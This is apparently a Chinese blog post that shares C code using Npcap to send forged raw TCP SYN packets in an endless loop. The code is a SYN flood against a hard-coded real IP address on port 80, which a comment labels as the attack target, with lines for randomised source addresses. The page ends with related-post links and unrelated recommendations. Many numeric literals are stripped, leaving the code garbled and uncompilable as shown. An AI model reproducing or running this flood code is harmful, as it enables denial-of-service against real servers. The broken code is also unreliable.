1、来自:winpcap实现syn攻击 - 125096 - CSDN博客.html(https://blog.csdn.net/qq125096885/article/details/51784524

2、我的代码:(代码 用Npcap来跑,基本不用修改)(Win7x64、vs2017、使用 x86编译的Debug版本)

// Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
// #include <iostream> #pragma warning(disable : 4996) //int main()
//{
// std::cout << "Hello World!\n";
//} //#define _W64
//#define HAVE_REMOTE
#include<stdio.h>
#include<pcap.h>
#include<winsock2.h>
#include <time.h>
//#include "remote-ext.h" #pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"WS2_32.lib") #pragma pack(push,1)
typedef struct _TCP_SYN
{
unsigned char DstMAC[]; // 目的mac地址
unsigned char SrcMAC[]; // 源mac地址
unsigned char OtherData[];
unsigned short Header_ChechSum; // 校验和
unsigned int SrcIP; // Source IP address
unsigned int DstIP; // Destination IP address
unsigned short SrcPort; // Source IP Port
unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000
unsigned char Ohters[];
unsigned short pak_checksum;
unsigned char OtherLast[];
}TCP_SYN, *PTCP_SYN;
#pragma pack(pop) unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
"\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
"\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
"\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
"\x04\x02"; // clac the header's check sum
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum = ;
while (size > )
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return (unsigned short)(~cksum);
} int main(int argc, char* argv[])
{
pcap_if_t *alldevs;
pcap_if_t *seldev;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
srand(time()); /* 获取本机设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit();
} // 找到一个有ip的就当有连网的网卡了
for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
{
pcap_addr* pcapaddr = NULL;
for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
{
//if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
//{
// break;
//} printf("seldev->name : %s\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
printf("\n"); //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
if ((UCHAR)pcapaddr->addr->sa_data[] == && (UCHAR)pcapaddr->addr->sa_data[] == )
{
printf("will break;\n");
break;
}
}
if (pcapaddr != NULL)
break; printf("\n");
}
if (seldev == NULL)
{
fprintf(stderr, "Can not find network!\n");
exit();
} printf("seldev->name : %d\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
printf("\n"); /* 打开这个输出设备 */
if ((fp = pcap_open(seldev->name, // 设备名
, // 要捕获的部分 (只捕获前100个字节)
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
return -;
} // 修改源MAC、IP地址 , 并修改首部校验和
PTCP_SYN SynData = (PTCP_SYN)bufData;
while ()
{
//memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );// 04-f9-38-a6-d7-cb SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
SynData->DstPort = htons(); // 目标端口80
SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生 SynData->Header_ChechSum = ;
SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
// printf("%d\n", SynData->Header_ChechSum); /* 发送数据包 */
// (wireshark 黑底红字为 校验和错误 的包).
if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
return -;
} system("pause");
//break;
} /* 释放设备列表 */
pcap_freealldevs(alldevs);
return ;
}

3、

4、

5、

Npcap.例子(raw tcp syn)的更多相关文章

  1. 扯谈网络编程之Tcp SYN flood洪水攻击

    简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...

  2. TCP SYN flood洪水攻击原理和防御破解

    简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...

  3. TCP SYN扫描学习笔记

    1.TCP SYN包扫描主机状态的原理:tcp协议规定,当目标主机收到一个tcp syn 包时,若目标主机处于开放状态,会返回给源主机一个tcp ack 包(目的端口开放),或者向源主机发送一个tcp ...

  4. Windows下C语言的Socket编程例子(TCP和UDP)

    原文:Windows下C语言的Socket编程例子(TCP和UDP) 刚刚学windows编程,所以想写学习笔记,这是一个简单的Socket程序例子,开发环境是vc6: 首先是TCP server端: ...

  5. [转] 3个学习Socket编程的简单例子:TCP Server/Client, Select

    以前都是采用ACE的编写网络应用,最近由于工作需要,需要直接只用socket接口编写CS的代码,重新学习这方面的知识,给出自己所用到的3个简单例子,都是拷贝别人的程序.如果你能完全理解这3个例子,估计 ...

  6. C#Winform窗体实现服务端和客户端通信例子(TCP/IP)

    Winform窗体实现服务端和客户端通信的例子,是参考这个地址 http://www.cnblogs.com/longwu/archive/2011/08/25/2153636.html 进行了一些异 ...

  7. 170410、java Socket通信的简单例子(TCP)

    服务端代码: package com.bobohe.socket; import java.io.*; import java.net.*; import java.applet.Applet; pu ...

  8. Npcap.资料

    1.ZC:Npcap 是 WinPcap停更之后的继承者.我尝试了 Win7中发送raw tcp syn,它的代码和 使用WinPcap的基本一致. Developing software with ...

  9. TCP:三次握手,URG、ACK、PSH、RST、SYN、FIN 含义

    http://blog.csdn.net/wudiyi815/article/details/8505726 TCP:SYN ACK FIN RST PSH URG简析   三次握手Three-way ...

随机推荐

  1. 关于Maven打包

    Maven打包构建完全指南和最佳实践 Maven最佳实践:划分模块 IDEA一个项目引用另一个项目 IDEA创建多个模块MavenSpringBoot项目   这个简单明了,基础知识

  2. 使用webuploader实现大文件上传分片上传

    本人在2010年时使用swfupload为核心进行文件的批量上传的解决方案.见文章:WEB版一次选择多个文件进行批量上传(swfupload)的解决方案. 本人在2013年时使用plupload为核心 ...

  3. jQuery相关方法1

    一.设置某个元素的标签内容------.html()方法 <script src="http://libs.baidu.com/jquery/1.10.2/jquery.min.js& ...

  4. codevs 4244 平衡树练习

    二次联通门 : codevs 4244 平衡树练习 Splay实测指针占用空间大约是数组的3倍, 且时间上也慢了差不多1s 数组版评测记录如下 指针版评测记录如下     以上数据仅限这一个题, 对于 ...

  5. mui Picker DtPicker 固定内容以及变动内容Picker 不同情况下的应用 提高效率

    目的是: 保证不同的Picker只创建一次,多次创建Picker系统不会自己销毁,X掉一个之后后面可能会出现下一个. 保证实现需求的情况下,优化代码,提高效率. 1.如果picker中的内容为定值 v ...

  6. [vsftpd] ubuntu14.04 ansible剧本安装vsftpd流程及报错排查

    需求: 在ubuntu14.04机器上搭建ftp服务,ftp账号通过winscp软件登录后,仅可增删改/data/wwwroot目录. 一.安装步骤 1.apt 安装vsftpd apt-get in ...

  7. Arts打卡第6周

    Algorithm.主要是为了编程训练和学习. 每周至少做一个 leetcode 的算法题(先从Easy开始,然后再Medium,最后才Hard). 进行编程训练,如果不训练你看再多的算法书,你依然不 ...

  8. Mac下不能成功打开uiautomatorviewer的问题解决

    在终端运行uiautomatorviewer之后出现下面的错误,检查以后发现环境变量也配置好了 Error: Could not create the Java Virtual Machine. Er ...

  9. linux文件管理指令

    总述 所有指令都可以使用--help来查看说明 例如:cat --help -x 表示参数 1.cat:用于打印文件(cat -x filename) 参数: -n:由1开始对每行进行编号 -b:由1 ...

  10. 自然语言处理基础与实战(8)- 主题模型LDA理解与应用

    本文主要用于理解主题模型LDA(Latent Dirichlet Allocation)其背后的数学原理及其推导过程.本菇力求用简单的推理来论证LDA背后复杂的数学知识,苦于自身数学基础不够,因此文中 ...